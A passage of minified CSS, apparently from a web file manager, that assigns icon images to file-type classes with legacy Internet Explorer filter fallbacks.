\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-tgz,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-7z{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none 